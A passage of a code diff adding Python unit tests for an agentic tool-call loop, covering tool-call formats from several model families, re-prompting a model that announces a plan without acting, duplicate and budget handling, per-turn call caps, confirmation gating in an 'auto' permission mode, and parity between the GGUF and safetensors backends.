+        assert exec_fn.calls == [("web_search", {"query": "weather in SF"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert "sunny" in contents[-1]["text"].lower()
+
+    def test_mistral_pre_v11_form(self):
+        # Pre-v11 Mistral emission: ``[TOOL_CALLS] [{...}]``.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    '[TOOL_CALLS] [{"name":"web_search",',
+                    '"arguments":{"query":"hi"},"id":"abc"}]',
+                ],
+                ["done"],
+            ],
+            exec_results = ["ok"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "hi"})]
+        # Mistral-provided ids must propagate to tool_start events.
+        tool_start = next(e for e in events if e["type"] == "tool_start")
+        assert tool_start["tool_call_id"] == "abc"
+
+    def test_mistral_v11_form(self):
+        # v11+ Mistral emission: bare ``name{json}`` after the trigger.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['[TOOL_CALLS]web_search{"query":"hi"}'],
+                ["done"],
+            ],
+            exec_results = ["ok"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "hi"})]
+
+    def test_gemma4_form(self):
+        # Gemma 4 emission: ``<|tool_call>call:NAME{...}<tool_call|>``.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<|tool_call>call:web_search{",
+                    'query:<|"|>weather<|"|>',
+                    "}<tool_call|>",
+                ],
+                ["sunny"],
+            ],
+            exec_results = ["Sunny, 22C"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "weather"})]
+
+    def test_deepseek_v3_1_form(self):
+        # DeepSeek V3.1 emission inside the agentic loop -- the buffer state machine must wake on
+        # ``<｜tool▁calls▁begin｜>`` and the parser must extract the V3.1 bare-JSON body.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<｜tool▁calls▁begin｜>",
+                    "<｜tool▁call▁begin｜>web_search",
+                    "<｜tool▁sep｜>",
+                    '{"query":"Tokyo weather"}',
+                    "<｜tool▁call▁end｜>",
+                    "<｜tool▁calls▁end｜>",
+                ],
+                ["The weather is sunny."],
+            ],
+            exec_results = ["Sunny, 22C"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "Tokyo weather"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and "sunny" in contents[-1]["text"].lower()
+
+    def test_glm_form(self):
+        # GLM 4.x emission: ``<tool_call>NAME\n<arg_key>...``.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<tool_call>web_search\n",
+                    "<arg_key>query</arg_key>\n",
+                    "<arg_value>Tokyo</arg_value>\n",
+                    "</tool_call>",
+                ],
+                ["found"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "Tokyo"})]
+
+    def test_kimi_form(self):
+        # Kimi K2 emission ``<|tool_calls_section_begin|>...``.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<|tool_calls_section_begin|>",
+                    "<|tool_call_begin|>functions.web_search:0",
+                    "<|tool_call_argument_begin|>",
+                    '{"query":"Tokyo"}',
+                    "<|tool_call_end|>",
+                    "<|tool_calls_section_end|>",
+                ],
+                ["done"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        # The bare name must reach execute_tool, even though the model
+        # emitted ``functions.web_search:0`` as the formatted id.
+        assert exec_fn.calls == [("web_search", {"query": "Tokyo"})]
+        # tool_start carries the original full id so the conversation
+        # roundtrip can replay it verbatim.
+        tool_start = next(e for e in events if e["type"] == "tool_start")
+        assert tool_start["tool_call_id"] == "functions.web_search:0"
+
     def test_render_html_emits_provisional_tool_start(self):
         exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
         turn_iter = iter(
@@ -531,6 +2592,50 @@ class TestLoopBasic:
         assert tool_starts[0]["arguments"] == {}
         assert "<!doctype html>" in tool_starts[1]["arguments"]["code"]
 
+    def test_render_html_auto_mode_static_runs_without_prompt(self):
+        """permission_mode="auto" ships confirm_tool_calls=true. render_html is no
+        longer unconditionally safe (a networked canvas must ask), so its early
+        provisional card is suppressed under the confirm gate; a static canvas is
+        still classified safe and runs without an approval prompt."""
+        exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
+        turn_iter = iter(
+            [
+                [
+                    "<function=render_html>",
+                    "<parameter=code><!doctype html><html>",
+                    "<body>Hi</body></html></parameter></function>",
+                ],
+                ["Done."],
+            ]
+        )
+
+        def _gen(_messages):
+            chunks = next(turn_iter)
+            acc = ""
+            for chunk in chunks:
+                acc += chunk
+                yield acc
+
+        loop = run_safetensors_tool_loop(
+            single_turn = _gen,
+            messages = [{"role": "user", "content": "make html"}],
+            tools = [{"type": "function", "function": {"name": "render_html"}}],
+            execute_tool = exec_fn,
+            confirm_tool_calls = True,
+            permission_mode = "auto",
+            session_id = "sess",
+            max_tool_iterations = 3,
+        )
+        events = _collect_events(loop)
+        tool_starts = [e for e in events if e["type"] == "tool_start"]
+
+        # No early provisional card under the auto confirm gate; just the real call.
+        assert len(tool_starts) == 1
+        assert tool_starts[0]["tool_name"] == "render_html"
+        assert "<!doctype html>" in tool_starts[0]["arguments"]["code"]
+        # A static canvas is classified safe, so it runs without an approval gate.
+        assert tool_starts[0].get("awaiting_confirmation") in (False, None)
+
     def test_render_html_provisional_card_closed_on_generator_exception(self):
         """If the model generator raises mid-stream after a provisional render_html
         card was surfaced, the loop must close that card as errored before the
@@ -594,6 +2699,42 @@ class TestLoopBasic:
         assert tool_starts[0]["tool_name"] == "python"
         assert exec_fn.calls == [("python", {"code": "print('<function=render_html>')"})]
 
+    def test_render_html_rehearsed_in_think_block_emits_no_provisional_start(self):
+        # BUG B: a render_html rehearsed inside think before a real python call must not emit a
+        # provisional render_html card; only the outside-think call fires.
+        exec_fn = FakeExecuteTool(["ok"])
+        turn_iter = iter(
+            [
+                [
+                    '<think>draft render_html[ARGS]{"code":"x"}</think>',
+                    'python[ARGS]{"code":"print(1)"}',
+                ],
+                ["Done."],
+            ]
+        )
+
+        def _gen(_messages):
+            chunks = next(turn_iter)
+            acc = ""
+            for chunk in chunks:
+                acc += chunk
+                yield acc
+
+        loop = run_safetensors_tool_loop(
+            single_turn = _gen,
+            messages = [{"role": "user", "content": "run code"}],
+            tools = [
+                {"type": "function", "function": {"name": "render_html"}},
+                {"type": "function", "function": {"name": "python"}},
+            ],
+            execute_tool = exec_fn,
+        )
+        events = _collect_events(loop)
+        tool_starts = [e for e in events if e["type"] == "tool_start"]
+
+        assert [e["tool_name"] for e in tool_starts] == ["python"], tool_starts
+        assert exec_fn.calls == [("python", {"code": "print(1)"})]
+
     def test_render_html_success_blocks_second_canvas_call(self):
         exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
         turn_iter = iter(
@@ -702,6 +2843,61 @@ class TestLoopBehaviour:
         ]
         assert len(duplicate_nudges) == 1
 
+    def test_same_turn_duplicate_does_not_drop_later_parallel_call(self):
+        # Turn 1 runs search(x). Turn 2's batch is [search(x) duplicate, python]:
+        # the duplicate is a no-op, but python after it must still run, and the
+        # no-op nudge must land after python's result rather than splitting it.
+        captured_messages: list[list[dict]] = []
+        turns = iter(
+            [
+                ['<tool_call>{"name":"web_search","arguments":{"query":"x"}}</tool_call>'],
+                [
+                    '<tool_call>{"name":"web_search","arguments":{"query":"x"}}</tool_call>'
+                    '<tool_call>{"name":"python","arguments":{"code":"print(1)"}}</tool_call>'
+                ],
+                ["final"],
+            ]
+        )
+
+        def fake_single_turn(messages, active_tools = None):
+            captured_messages.append([dict(m) for m in messages])
+            chunks = next(turns)
+            acc = ""
+            for chunk in chunks:
+                acc += chunk
+                yield acc
+
+        exec_fn = FakeExecuteTool(["search-x", "py-result"])
+        _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = fake_single_turn,
+                messages = [{"role": "user", "content": "hi"}],
+                tools = [
+                    {"type": "function", "function": {"name": "web_search"}},
+                    {"type": "function", "function": {"name": "python"}},
+                ],
+                execute_tool = exec_fn,
+                max_tool_iterations = 4,
+            )
+        )
+
+        # Turn-1 search and turn-2 python both ran; the turn-2 duplicate search did not.
+        assert exec_fn.calls == [
+            ("web_search", {"query": "x"}),
+            ("python", {"code": "print(1)"}),
+        ]
+
+        conv = captured_messages[-1]
+        turn2 = [m for m in conv if m.get("role") == "assistant" and m.get("tool_calls")][-1]
+        assert [tc["function"]["name"] for tc in turn2["tool_calls"]] == ["python"]
+        after = conv[conv.index(turn2) + 1 :]
+        assert after[0]["role"] == "tool" and after[0]["content"] == "py-result"
+        assert after[1]["role"] == "user"  # deferred duplicate nudge, after the result
+        assert after[1]["content"].startswith(
+            "One earlier request to call tool 'web_search' in this batch was not executed"
+        )
+        assert "previous tool request" not in after[1]["content"].lower()
+
     def test_duplicate_tool_call_internal_noop_allows_distinct_followup_tool(self):
         captured_messages: list[list[dict]] = []
         captured_tool_names: list[list[str]] = []
@@ -765,6 +2961,59 @@ class TestLoopBehaviour:
         assert len(duplicate_nudges) == 1
         assert captured_tool_names[2] == ["web_search", "python"]
 
+    def test_duplicate_noop_does_not_consume_budget_at_small_cap(self):
+        # A duplicate/disabled no-op turn is a correction turn and must NOT spend the
+        # caller's tool budget, so with max_tool_iterations=2 the model can still make a
+        # DISTINCT valid call after repeating one. Only turns that actually execute a
+        # tool count -- matching the GGUF loop. (The budget used to be charged per
+        # non-re-prompt iteration, so the duplicate burned the second slot and the third
+        # turn was sent with no tools, dropping the ``python`` call.)
+        captured_tool_names: list[list[str]] = []
+        turns = iter(
+            [
+                ['<tool_call>{"name":"web_search","arguments":{"query":"x"}}</tool_call>'],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"x"}}</tool_call>'],
+                ['<tool_call>{"name":"python","arguments":{"code":"print(1)"}}</tool_call>'],
+                ["final"],
+            ]
+        )
+
+        def fake_single_turn(messages, active_tools = None):
+            captured_tool_names.append(
+                [
+                    tool["function"]["name"]
+                    for tool in (active_tools or [])
+                    if tool.get("function", {}).get("name")
+                ]
+            )
+            chunks = next(turns)
+            acc = ""
+            for chunk in chunks:
+                acc += chunk
+                yield acc
+
+        exec_fn = FakeExecuteTool(["search-result", "python-result"])
+        _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = fake_single_turn,
+                messages = [{"role": "user", "content": "hi"}],
+                tools = [
+                    {"type": "function", "function": {"name": "web_search"}},
+                    {"type": "function", "function": {"name": "python"}},
+                ],
+                execute_tool = exec_fn,
+                max_tool_iterations = 2,
+            )
+        )
+
+        # Both distinct tools execute; the repeated call in between did not cost a slot.
+        assert exec_fn.calls == [
+            ("web_search", {"query": "x"}),
+            ("python", {"code": "print(1)"}),
+        ]
+        # The turn after the duplicate still offered tools (budget not yet spent).
+        assert captured_tool_names[2] == ["web_search", "python"]
+
     def test_repeated_duplicate_noop_transitions_to_final_attempt(self):
         captured_tool_names: list[list[str]] = []
         turns = iter(
@@ -953,6 +3202,459 @@ class TestLoopBehaviour:
         assert "boom" in tool_end["result"]
 
 
+class TestLoopRePrompt:
+    """Plan-without-action re-prompt parity with GGUF: nudge instead of terminating, up to ``MAX_ACT_REPROMPTS`` extra slots. Studio always nudges, so these drive the loop with ``nudge_tool_calls=True``."""
+
+    def test_reasoning_intent_does_not_reprompt_a_visible_answer(self):
+        generations = 0
+
+        def _gen(_messages, active_tools = None):
+            nonlocal generations
+            generations += 1
+            yield (
+                "<think>Let me prepare the requested summary carefully.</think>"
+                "This is the final visible answer."
+            )
+
+        exec_fn = FakeExecuteTool([])
+        events = _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = _gen,
+                messages = [{"role": "user", "content": "summarize this"}],
+                tools = [{"type": "function", "function": {"name": "web_search"}}],
+                execute_tool = exec_fn,
+                nudge_tool_calls = True,
+            )
+        )
+
+        assert generations == 1
+        assert exec_fn.calls == []
+        contents = [e["text"] for e in events if e["type"] == "content"]
+        assert contents[-1].endswith("This is the final visible answer.")
+
+    def test_prefilled_reasoning_intent_does_not_reprompt_a_visible_answer(self):
+        generations = 0
+
+        def _gen(_messages, active_tools = None):
+            nonlocal generations
+            generations += 1
+            yield "Let me prepare the requested summary carefully.</think>This is the final visible answer."
+
+        exec_fn = FakeExecuteTool([])
+        events = _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = _gen,
+                messages = [{"role": "user", "content": "summarize this"}],
+                tools = [{"type": "function", "function": {"name": "web_search"}}],
+                execute_tool = exec_fn,
+                nudge_tool_calls = True,
+                reasoning_prefilled = True,
+            )
+        )
+
+        assert generations == 1
+        assert exec_fn.calls == []
+        contents = [e["text"] for e in events if e["type"] == "content"]
+        assert contents[-1].endswith("This is the final visible answer.")
+
+    def test_prefilled_reasoning_with_reemitted_think_does_not_reprompt(self):
+        generations = 0
+
+        def _gen(_messages, active_tools = None):
+            nonlocal generations
+            generations += 1
+            yield (
+                "Let me prepare the requested summary carefully."
+                "<think>more private planning</think>This is the final visible answer."
+            )
+
+        exec_fn = FakeExecuteTool([])
+        events = _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = _gen,
+                messages = [{"role": "user", "content": "summarize this"}],
+                tools = [{"type": "function", "function": {"name": "web_search"}}],
+                execute_tool = exec_fn,
+                nudge_tool_calls = True,
+                reasoning_prefilled = True,
+            )
+        )
+
+        assert generations == 1
+        assert exec_fn.calls == []
+        contents = [e["text"] for e in events if e["type"] == "content"]
+        assert contents[-1].endswith("This is the final visible answer.")
+
+    def test_prefilled_reasoning_with_later_think_does_not_reprompt(self):
+        generations = 0
+
+        def _gen(_messages, active_tools = None):
+            nonlocal generations
+            generations += 1
+            yield (
+                "private prefilled planning</think>"
+                "<think>Let me prepare the requested summary carefully.</think>"
+                "This is the final visible answer."
+            )
+
+        exec_fn = FakeExecuteTool([])
+        events = _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = _gen,
+                messages = [{"role": "user", "content": "summarize this"}],
+                tools = [{"type": "function", "function": {"name": "web_search"}}],
+                execute_tool = exec_fn,
+                nudge_tool_calls = True,
+                reasoning_prefilled = True,
+            )
+        )
+
+        assert generations == 1
+        assert exec_fn.calls == []
+        contents = [e["text"] for e in events if e["type"] == "content"]
+        assert contents[-1].endswith("This is the final visible answer.")
+
+    def test_reasoning_only_intent_still_reprompts_and_uses_a_tool(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["<think>Let me search for that.</think>"],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["Here is the answer."],
+            ],
+            exec_results = ["result"],
+            nudge_tool_calls = True,
+        )
+
+        events = _collect_events(loop)
+
+        assert exec_fn.calls == [("web_search", {"query": "cats"})]
+        contents = [e["text"] for e in events if e["type"] == "content"]
+        assert contents[-1] == "Here is the answer."
+
+    def test_prefilled_no_close_reasoning_intent_still_reprompts(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I need more context.<think>Let me search for that."],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["Here is the answer."],
+            ],
+            exec_results = ["result"],
+            nudge_tool_calls = True,
+            reasoning_prefilled = True,
+        )
+
+        events = _collect_events(loop)
+
+        assert exec_fn.calls == [("web_search", {"query": "cats"})]
+        contents = [e["text"] for e in events if e["type"] == "content"]
+        assert contents[-1] == "Here is the answer."
+
+    def test_prefilled_reasoning_prefix_is_kept_for_reasoning_only_reprompt(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["Let me search for that.</think><think>checking details</think>"],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["Here is the answer."],
+            ],
+            exec_results = ["result"],
+            nudge_tool_calls = True,
+            reasoning_prefilled = True,
+        )
+
+        events = _collect_events(loop)
+
+        assert exec_fn.calls == [("web_search", {"query": "cats"})]
+        contents = [e["text"] for e in events if e["type"] == "content"]
+        assert contents[-1] == "Here is the answer."
+
+    def test_reprompt_history_uses_visible_intent_text(self):
+        captured: list[list[dict]] = []
+
+        def _gen(messages, active_tools = None):
+            captured.append([dict(message) for message in messages])
+            if len(captured) == 1:
+                yield "<think>private planning details</think>Let me search for that."
+            elif len(captured) == 2:
+                yield '<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'
+            else:
+                yield "Here is the answer."
+
+        exec_fn = FakeExecuteTool(["result"])
+        events = _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = _gen,
+                messages = [{"role": "user", "content": "find cats"}],
+                tools = [{"type": "function", "function": {"name": "web_search"}}],
+                execute_tool = exec_fn,
+                nudge_tool_calls = True,
+            )
+        )
+
+        assert exec_fn.calls == [("web_search", {"query": "cats"})]
+        assert captured[1][1] == {"role": "assistant", "content": "Let me search for that."}
+        contents = [e["text"] for e in events if e["type"] == "content"]
+        assert contents[-1] == "Here is the answer."
+
+    def test_intent_signal_triggers_reprompt(self):
+        # Turn 1: intent signal, no tool call.
+        # Turn 2 (re-prompt): proper tool call -> executes.
+        # Turn 3: final answer.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["Let me search for that."],
+                [
+                    '<tool_call>{"name":"web_search","arguments":'
+                    '{"query":"sky color"}}</tool_call>'
+                ],
+                ["The sky is blue."],
+            ],
+            exec_results = ["Blue (Rayleigh scattering)"],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        # web_search must have been called once (after the re-prompt).
+        assert exec_fn.calls == [("web_search", {"query": "sky color"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and "blue" in contents[-1]["text"].lower()
+
+    def test_intent_signal_without_tools_does_not_reprompt(self):
+        # Same intent signal but no tools enabled -- must NOT re-prompt.
+        loop, exec_fn = _make_loop(
+            turns = [["Let me think about that for a moment."]],
+            exec_results = [],
+        )
+        # _make_loop hard-codes three tools; rebuild without tools.
+        from core.inference.safetensors_agentic import run_safetensors_tool_loop
+
+        def _gen(_messages):
+            yield "Let me think about that for a moment."
+
+        exec_fn = FakeExecuteTool([])
+        events = _collect_events(
+            run_safetensors_tool_loop(
+                single_turn = _gen,
+                messages = [{"role": "user", "content": "hi"}],
+                tools = [],
+                execute_tool = exec_fn,
+            )
+        )
+        assert exec_fn.calls == []
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and "think" in contents[-1]["text"].lower()
+
+    def test_direct_answer_does_not_trigger_reprompt(self):
+        # Plain answer with no intent words: do NOT re-prompt.
+        loop, exec_fn = _make_loop(
+            turns = [["4"]],
+            exec_results = [],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and contents[-1]["text"].strip() == "4"
+
+    def test_max_reprompts_capped(self):
+        # Model keeps stalling with intent -- after MAX_ACT_REPROMPTS re-prompts
+        # the loop must give up rather than burn forever.
+        turns = [["Let me search for that."]] * 6  # well over the cap
+        loop, exec_fn = _make_loop(
+            turns = turns,
+            exec_results = [],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop, max_events = 500)
+        # No tool ever ran, but the loop terminated cleanly.
+        assert exec_fn.calls == []
+        statuses = [e for e in events if e["type"] == "status"]
+        assert statuses and statuses[-1]["text"] == ""
+
+    def test_short_intent_below_buffer_threshold_triggers_reprompt(self):
+        # Short emission that never exits BUFFERING (< 32 chars + no
+        # marker prefix). The unified buffer-end path must still
+        # trigger the intent re-prompt, not silently terminate.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["Let me check."],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"x"}}</tool_call>'],
+                ["found"],
+            ],
+            exec_results = ["..."],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "x"})]
+
+    def test_reprompt_does_not_consume_tool_budget(self):
+        # max_tool_iterations=1: one re-prompt, then one real tool call,
+        # then the budget-exhausted final answer must still fire. If the
+        # re-prompt ate the slot the tool call would never run.
+        loop, exec_fn = _make_loop(
+            turns = [
+                # 1. Intent stall (re-prompt).
+                ["Let me search for that."],
+                # 2. Real tool call (uses the budget slot).
+                ['<tool_call>{"name":"web_search","arguments":{"query":"weather"}}</tool_call>'],
+                # 3. Budget exhausted -> nudged final answer.
+                ["Final: it is sunny"],
+            ],
+            exec_results = ["sunny"],
+            max_tool_iterations = 1,
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "weather"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and "sunny" in contents[-1]["text"].lower()
+
+
+class TestLoopCanonicalHealKey:
+    """Per-tool canonical heal key (``code``/``command``/``query``), mirroring GGUF."""
+
+    def test_python_bare_string_heals_to_code(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"python","arguments":"print(1)"}' "</tool_call>"],
+                ["done"],
+            ],
+            exec_results = ["1\n"],
+        )
+        events = _collect_events(loop)
+        # The bare string must heal to {"code": "print(1)"}, not
+        # {"query": ...}, so the python sandbox actually executes it.
+        assert exec_fn.calls == [("python", {"code": "print(1)"})]
+
+    def test_terminal_bare_string_heals_to_command(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"terminal","arguments":"ls -la"}' "</tool_call>"],
+                ["done"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("terminal", {"command": "ls -la"})]
+
+    def test_unknown_tool_bare_string_heals_to_query(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"web_search","arguments":"hello"}' "</tool_call>"],
+                ["ok"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "hello"})]
+
+
+class TestGGUFSafetensorsHealingParity:
+    """Pin GGUF vs safetensors/MLX loop parity so a regression on either side breaks CI."""
+
+    def test_gguf_imports_shared_signal_markers(self):
+        # The GGUF BUFFERING state machine must wake on every emission
+        # marker the shared parser knows -- otherwise Llama-3 / Mistral
+        # / Gemma 4 emissions slip past as plain prose when the
+        # llama-server structured channel fails.
+        import inspect
+
+        from core.inference.llama_cpp import LlamaCppBackend
+
+        src = inspect.getsource(LlamaCppBackend.generate_chat_completion_with_tools)
+        assert "_SHARED_TOOL_XML_SIGNALS" in src, (
+            "GGUF agentic loop must reuse the shared TOOL_XML_SIGNALS "
+            "tuple so it wakes on all five emission formats"
+        )
+
+    def test_gguf_uses_shared_strip_helper(self):
+        # The GGUF stream-cleanup function must delegate to the shared
+        # strip_tool_markup so closed-pair markup is removed for every
+        # emission family (Llama-3 <|python_tag|>, Mistral [TOOL_CALLS],
+        # Gemma 4 <|tool_call>...<tool_call|>).
+        import inspect
+
+        from core.inference.llama_cpp import LlamaCppBackend
+
+        src = inspect.getsource(LlamaCppBackend.generate_chat_completion_with_tools)
+        assert (
+            "_shared_strip_tool_markup" in src
+        ), "GGUF stream cleanup must delegate to the shared strip_tool_markup helper"
+
+    def test_gguf_uses_canonical_heal_keys(self):
+        # GGUF and safetensors heal a bare-string ``arguments`` to the same
+        # per-tool canonical key -- ``code`` for python, ``command`` for
+        # terminal, ``query`` for everything else. The mapping is centralised in
+        # the shared ToolLoopController (both backends route bare-string args
+        # through ``coerce_tool_arguments``), so the two paths cannot drift.
+        from core.inference.tool_loop_controller import (
+            _CANONICAL_HEAL_ARG,
+            coerce_tool_arguments,
+        )
+
+        assert _CANONICAL_HEAL_ARG["python"] == "code"
+        assert _CANONICAL_HEAL_ARG["terminal"] == "command"
+        assert coerce_tool_arguments("print(1)", heal = True, tool_name = "python").arguments == {
+            "code": "print(1)"
+        }
+        assert coerce_tool_arguments("ls -la", heal = True, tool_name = "terminal").arguments == {
+            "command": "ls -la"
+        }
+        assert coerce_tool_arguments("weather", heal = True, tool_name = "web_search").arguments == {
+            "query": "weather"
+        }
+
+    def test_intent_regex_matches_same_phrases_as_gguf(self):
+        # The intent re-prompt regex is now a single shared source of truth
+        # (tool_call_parser.INTENT_SIGNAL) consumed by both the GGUF and the
+        # safetensors/MLX loops, so behaviour is identical on Mac and Linux.
+        # Both backends must resolve to that one shared helper.
+        from core.inference.llama_cpp import (
+            _is_short_intent_without_action as gguf_fn,
+        )
+        from core.inference.safetensors_agentic import (
+            is_short_intent_without_action as sf_fn,
+        )
+        from core.inference.tool_call_parser import (
+            INTENT_SIGNAL as shared_re,
+            is_short_intent_without_action as shared_fn,
+        )
+
+        assert gguf_fn is shared_fn and sf_fn is shared_fn
+
+        for phrase in (
+            "I'll search for that",
+            "I will look it up",
+            "Let me check",
+            "I am going to call the tool",
+            "First, I will explore",
+            "Here's my plan",
+            "Now I need to call web_search",
+        ):
+            assert shared_re.search(phrase), f"missed {phrase!r}"
+            assert shared_fn(phrase), f"helper missed {phrase!r}"
+
+        for plain in (
+            "4",
+            "Hello!",
+            "The sky is blue.",
+            "I can help with that.",
+            "I should mention",
+            "Let's go.",
+            # Negated intent is a refusal, not a plan: neither backend may
+            # force a tool-call re-prompt on it.
+            "I will not search the web for that.",
+            "I'll never call that tool.",
+        ):
+            assert not shared_re.search(plain), f"wrongly fired on {plain!r}"
+            assert not shared_fn(plain), f"helper wrongly fired on {plain!r}"
+
+    def test_max_reprompts_equal_on_both_backends(self):
+        # Both loops draw the cap from the shared constant, so they stay equal.
+        from core.inference.llama_cpp import _MAX_REPROMPTS as gguf_cap
+        from core.inference.safetensors_agentic import MAX_ACT_REPROMPTS as sf_cap
+        from core.inference.tool_call_parser import MAX_ACT_REPROMPTS as shared_cap
+
+        assert gguf_cap == sf_cap == shared_cap
+
+
 class TestLoopControl:
     def test_cancel_event_breaks_loop(self):
         cancel = threading.Event()
@@ -1261,6 +3963,26 @@ class TestGuardrails:
         assert any(e.get("type") == "content" and e.get("text") == "plain answer" for e in events)
         assert exec_fn.calls == []
 
+    def test_auto_mode_still_runs_rag_autoinject(self, monkeypatch):
+        # "auto" sends confirm_tool_calls=true so unsafe calls gate, but the
+        # safe search_knowledge_base retrieval never gates, so autoinject must
+        # still run (unlike ask mode above).
+        ran = {"called": False}
+
+        def fake_autoinject(*_args, **_kwargs):
+            ran["called"] = True
+            return None
+
+        monkeypatch.setattr("core.inference.tools.build_rag_autoinject", fake_autoinject)
+        loop, _exec_fn = _make_loop(
+            turns = [["plain answer"]],
+            confirm_tool_calls = True,
+            permission_mode = "auto",
+            rag_scope = {"thread_id": "t1"},
+        )
+        _collect_events(loop)
+        assert ran["called"] is True
+
     def test_auto_heal_disabled_preserves_xml_on_final_no_tools_pass(self):
         turns = iter(
             [
@@ -1369,6 +4091,28 @@ class TestGuardrails:
             and event.get("type") in {"tool_start", "tool_end"}
         ]
 
+    def test_same_turn_distinct_calls_are_capped(self):
+        # >_MAX_TOOL_CALLS_PER_TURN DISTINCT calls in one turn must be capped so a runaway turn
+        # cannot fan out into many executions (the GGUF path is held back by llama-server's lazy ...
+        from core.inference.safetensors_agentic import _MAX_TOOL_CALLS_PER_TURN
+
+        n = _MAX_TOOL_CALLS_PER_TURN + 4
+        turn = "".join(
+            '<tool_call>{"name":"web_search","arguments":{"query":"q%d"}}</tool_call>' % i
+            for i in range(n)
+        )
+        loop, exec_fn = _make_loop(
+            turns = [[turn], ["final"]],
+            exec_results = ["r"] * n,
+            max_tool_iterations = 2,
+        )
+        _collect_events(loop)
+        assert len(exec_fn.calls) == _MAX_TOOL_CALLS_PER_TURN
+        # The first N distinct queries executed, in document order.
+        assert [a["query"] for _name, a in exec_fn.calls] == [
+            "q%d" % i for i in range(_MAX_TOOL_CALLS_PER_TURN)
+        ]
+
     def test_coerce_string_args_python_uses_code_key(self):
         assert _coerce_arguments("print(1)", heal = True, tool_name = "python") == {"code": "print(1)"}
 
@@ -1407,5 +4151,918 @@ class TestGptOssNameDetection:
         assert is_gpt_oss_model_name(cast(str, None)) is False
 
 
+# ────────────────────────────────────────────────────────────────────
+# Plan-without-action re-prompt (GGUF loop parity)
+# ────────────────────────────────────────────────────────────────────
+
+
+class TestPlanWithoutActionReprompt:
+    def test_short_intent_is_reprompted_and_tool_executes(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the web for that."],
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["Here is the final answer."],
+            ],
+            exec_results = ["result-1"],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert [c[0] for c in exec_fn.calls] == ["web_search"]
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("Here is the final answer." in t for t in texts)
+
+    def test_reprompt_fires_up_to_the_cap(self):
+        # GGUF parity: a persistently stalling model is re-prompted up to
+        # MAX_ACT_REPROMPTS times, then the last stall is surrendered as the
+        # final answer and no further turn is generated.
+        from core.inference.tool_call_parser import MAX_ACT_REPROMPTS
+
+        stall = "Let me look into it first."
+        turns = [["I'll search the web for that."]]
+        turns += [[stall]] * MAX_ACT_REPROMPTS
+        turns += [["SHOULD NOT APPEAR"]]
+
+        generations = {"count": 0}
+        turn_iter = iter(turns)
+
+        def _gen(_messages):
+            generations["count"] += 1
+            try:
+                chunks = next(turn_iter)
+            except StopIteration:
+                return
+            acc = ""
+            for c in chunks:
+                acc += c
+                yield acc
+
+        exec_fn = FakeExecuteTool([])
+        loop = run_safetensors_tool_loop(
+            single_turn = _gen,
+            messages = [{"role": "user", "content": "hi"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            execute_tool = exec_fn,
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        # One initial turn plus exactly MAX_ACT_REPROMPTS re-prompted turns.
+        assert generations["count"] == MAX_ACT_REPROMPTS + 1
+        texts = [e["text"] for e in events if e["type"] == "content"]
